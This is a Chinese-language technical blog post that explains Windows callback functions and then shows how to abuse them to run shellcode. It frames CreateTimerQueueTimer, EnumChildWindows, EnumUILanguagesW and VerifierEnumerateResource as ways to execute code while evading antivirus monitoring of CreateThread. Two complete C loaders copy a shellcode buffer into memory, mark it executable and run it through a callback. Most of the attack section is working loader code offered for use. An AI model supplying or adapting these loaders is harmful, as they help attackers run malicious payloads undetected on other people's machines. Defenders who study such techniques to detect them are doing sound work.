回调函数就是一个被作为参数传递的函数。在C语言中,回调函数只能使用函数指针实现,

说的简单点就是你去购物店里买东西,恰巧卖完了,店员告诉你货来了我通知你,

在Windows系统中回调函数应用于各种场景,比如事件处理,窗口管理,多线程等等。

微软对回调函数的定义如下:

回调函数是托管应用程序中的代码,可帮助非托管 DLL 函数完成一项任务。对回调函数的调用间接从托管应用程序中进行传递、经过 DLL 函数,再回到托管实现。一些通过平台调用的 DLL 函数需要托管代码中的回调函数才能正常运行。

若要从托管代码中调用大部分 DLL 函数,则可以创建函数的托管定义,然后再调用它。此过程相当简单。

使用需要回调函数的 DLL 函数还有一些其他步骤。首先,必须通过查看函数的文档来确定该函数是否需要回调。然后,需要在托管应用程序中创建回调函数。最后,调用 DLL 函数,将指针作为一个参数传递给回调函数。

下图汇总了回调函数和实现步骤:

滥用回调函数

Windows的回调函数是使用指针去执行的,所以我们如果要运行shellcode,那么必须传递shellcode的地址而不是有效的回调指针,并且回调函数的好处在于可以取代CreateThread等创建线程去执行的函数,这些函数在对抗某杀软的情况下不是那么OPSEC的,并且无需传递正确的参数来正确的使用这些回调函数,因为返回值以及功能并不重要。

回调函数示例

CreateTimerQueueTimer

CreateTimerQueueTimer函数是一个创建计时器的函数,如下参数。


BOOL CreateTimerQueueTimer(
  [out]          PHANDLE             phNewTimer,
  [in, optional] HANDLE              TimerQueue,
  [in]           WAITORTIMERCALLBACK Callback,
  [in, optional] PVOID               Parameter,
  [in]           DWORD               DueTime,
  [in]           DWORD               Period,
  [in]           ULONG               Flags
);

phNewTimer 指向缓冲区的指针,该缓冲区在返回时接收计时器队列计时器的句柄。
TimerQueue 计时器队列的句柄。此句柄由 CreateTimerQueue 函数返回。
Callback 指向在计时器过期时要执行的应用程序定义的 WAITORTIMERCALLBACK 类型的函数的指针.
Parameter 参数
DueTime 相对于第一次向计时器发出信号之前必须经过的当前时间的时间量
Period 计时器的周期(以毫秒为单位)。如果此参数为零,则会向计时器发出一次信号。如果此参数大于零,则计时器是定期的。定期计时器会在每次经过该时间段时自动重新激活,直到计时器被取消。
Flags 此参数可以是 WinNT.h 中的以下一个或多个值。

这里我们只需要关注第三个参数就行了,第三个参数指向我们shellcode即可。

除了如上的三个还有如下:

EnumChildWindows

BOOL EnumChildWindows(
  [in, optional] HWND        hWndParent,
  [in]           WNDENUMPROC lpEnumFunc,
  [in]           LPARAM      lParam
);

这个函数的第二个参数是指向应用程序定义的回调函数的指针,所以只需要关注他即可。

EnumUILanguagesW

这个函数只需要关注它的第一个参数即可,第一个参数还是和上面一样指向应用程序定义的回调函数的指针。

BOOL EnumUILanguagesW(  [in] UILANGUAGE_ENUMPROCW lpUILanguageEnumProc,  [in] DWORD                dwFlags,  [in] LONG_PTR             lParam);
VeifierEnumerateResource

这个函数关注第四个参数即可。

ULONG VerifierEnumerateResource(  HANDLE                           Process,  ULONG                            Flags,  ULONG                            ResourceType,  AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback,  PVOID                            EnumerationContext);

如下我们只需要将创建线程那一步给他更换成回调函数即可:


#include <Windows.h>
#include <stdio.h>
BOOL APCThreadTest(PBYTE shellcode, SIZE_T shellcodeSize) {
  PVOID Address = NULL;
  DWORD dwold = NULL;
  HANDLE timer = NULL;
  //首先申请一块内存 大小就是传递进来的shellcodesize
  Address = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  if (Address == NULL) {
    printf("内存申请失败!!!!");
    return FALSE;
  }
  //copy shellcode到内存中
  memcpy(Address, shellcode, shellcodeSize);

  //修改内存权限
  BOOL vp = VirtualProtect(Address, shellcodeSize, PAGE_EXECUTE_READWRITE, &dwold);
  if (!vp) {
    printf("修改失败");
    return FALSE;
  }
  if (!CreateTimerQueueTimer(&timer, NULL, (WAITORTIMERCALLBACK)Address, NULL, NULL, NULL, NULL)) {
    printf("[!] CreateTimerQueueTimer Failed With Error : %d \n", GetLastError());
    return -1;
  }
}
unsigned char shellcode[277214] = {};
int main() {
  APCThreadTest(shellcode,sizeof(shellcode));
  getchar();
}

那么也就是说我们只需要替换一下回调函数即可。

EnumChildWindows执行shellcode

EnumChildWindows通过将句柄传递到每个子窗口,再将传递给应用程序定义的回调函数

枚举属于指定父窗口的子窗口。EnumChildWindows一直持续到最后一个子窗口被枚举或回调函数返回 FALSE。

EnumChildWindows(NULL,(WNDENUMPROC)Address,NULL)

VerifierEnumerateResource执行shellcode

VerifierEnumerateResource这个函数是枚举操作系统资源以供调试和支持工具使用。

VerifierEnumerateResource是从verifider.dll中导出的,所以我们必须使用LoaderLibrary和GetProcAddress动态加载才可以拿到函数的地址。

这里需要注意的是这个函数的第三个参数必须是于 AvrfResourceHeapAllocation,要不然我们的shellcode是不会执行的。

如下代码:


#include <Windows.h>
#include <stdio.h>
#include <avrfsdk.h>

typedef ULONG(WINAPI* fnVerifierEnumerateResource)(
  HANDLE                           Process,
  ULONG                            Flags,
  ULONG                            ResourceType,
  AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback,
  PVOID                            EnumerationContext
);
BOOL APCThreadTest(PBYTE shellcode, SIZE_T shellcodeSize) {
  PVOID Address = NULL;
  DWORD dwold = NULL;
  HANDLE timer = NULL;
  //首先申请一块内存 大小就是传递进来的shellcodesize
  Address = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  if (Address == NULL) {
    printf("内存申请失败!!!!");
    return FALSE;
  }
  //copy shellcode到内存中
  memcpy(Address, shellcode, shellcodeSize);

  //修改内存权限
  BOOL vp = VirtualProtect(Address, shellcodeSize, PAGE_EXECUTE_READWRITE, &dwold);
  if (!vp) {
    printf("修改失败");
    return FALSE;
  }
  fnVerifierEnumerateResource  pVerifierEnumerateResource = NULL;
  HMODULE hmodule = LoadLibraryA("verifier.dll");
  if (hmodule == NULL) {
    printf("获取失败");
    return FALSE;
  }
  pVerifierEnumerateResource  =  GetProcAddress(hmodule,"VerifierEnumerateResource");
  pVerifierEnumerateResource(GetCurrentProcess(),NULL,AvrfResourceHeapAllocation,(AVRF_RESOURCE_ENUMERATE_CALLBACK)Address,NULL);
}
unsigned char shellcode[277214] = {};
int main() {
  APCThreadTest(shellcode,sizeof(shellcode));
  getchar();
}